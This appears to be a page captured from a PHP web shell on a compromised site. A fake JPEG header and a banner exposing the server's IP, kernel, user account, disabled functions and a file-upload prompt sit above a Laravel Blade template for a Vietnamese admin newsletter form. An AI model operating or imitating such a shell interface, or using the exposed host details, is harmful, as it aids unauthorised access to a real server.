ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/domains/bellizeno.com/public_html/resources/views/admin/newsletter/ |
Upload File : |
@extends('admin.master')
@section('content')
@section('controller','Quản lý '.$trang)
@section('action','Add')
<!-- Content Header (Page header) -->
<section class="content-header">
<h1>
@yield('controller')
<small>@yield('action')</small>
</h1>
<ol class="breadcrumb">
<li><a href="admin"><i class="fa fa-dashboard"></i> Home</a></li>
<li><a href="javascript:">@yield('controller')</a></li>
<li class="active">@yield('action')</li>
</ol>
</section>
<!-- Main content -->
<section class="content">
<div class="box">
@include('admin.messages_error')
<div class="box-body">
<form name="frmAdd" method="post" action="{!! route('admin.newsletter.postAdd') !!}" enctype="multipart/form-data">
<input type="hidden" name="_token" value="{!! csrf_token() !!}" />
<div class="col-md-6 col-xs-12">
<div class="form-group">
<label for="alias">Email</label>
<input type="text" name="txtEmail" id="txtEmail" value="" placeholder="Nháºp email cá»§a bạn" required="" class="form-control" />
</div>
<div class="form-group hidden col-md-12 @if ($errors->first('fImages')!='') has-error @endif">
<label for="file">File ảnh</label>
<input type="file" id="file" name="fImages" >
<p class="help-block">Width:225px - Height: 162px</p>
@if ($errors->first('fImages')!='')
<label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> {!! $errors->first('fImages'); !!}</label>
@endif
</div>
<div class="clearfix"></div>
<div class="form-group hidden @if ($errors->first('txtName')!='') has-error @endif">
<label for="ten">Tên</label>
<input type="text" id="txtName" name="txtName" value="" class="form-control" />
@if ($errors->first('txtName')!='')
<label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> {!! $errors->first('txtName'); !!}</label>
@endif
</div>
<div class="form-group hidden">
<label for="alias">Link liên kết</label>
<input type="text" name="txtLink" id="txtLink" value="" class="form-control" />
</div>
@if($_GET['type']=='cam-nhan' || $_GET['type']=='chi-nhanh')
<div class="form-group hidden">
<label for="desc">Mô tả</label>
<textarea name="txtDesc" rows="5" class="form-control"></textarea>
</div>
@endif
<input type="hidden" name="txtCom" value="{{ @$_GET['type'] }}"/>
</div>
<div class="clearfix"></div>
<div class="col-md-6">
<div class="form-group">
<label for="ten">Số thứ tự</label>
<input type="number" min="1" name="stt" value="{!! count($data)+1 !!}" class="form-control" style="width: 100px;">
</div>
<div class="form-group">
<label>
<input type="checkbox" name="status" checked="checked"> Hiển thị
</label>
</div>
</div>
<div class="clearfix"></div>
<div class="box-footer">
<div class="row">
<div class="col-md-6">
<button type="submit" class="btn btn-primary">Lưu</button>
<button type="button" onclick="javascript:window.location='admin/newsletter?type={{ @$_GET[type] }}'" class="btn btn-danger">Thoát</button>
</div>
</div>
</div>
</form>
</div><!-- /.box-body -->
</div><!-- /.box -->
</section><!-- /.content -->
@endsection()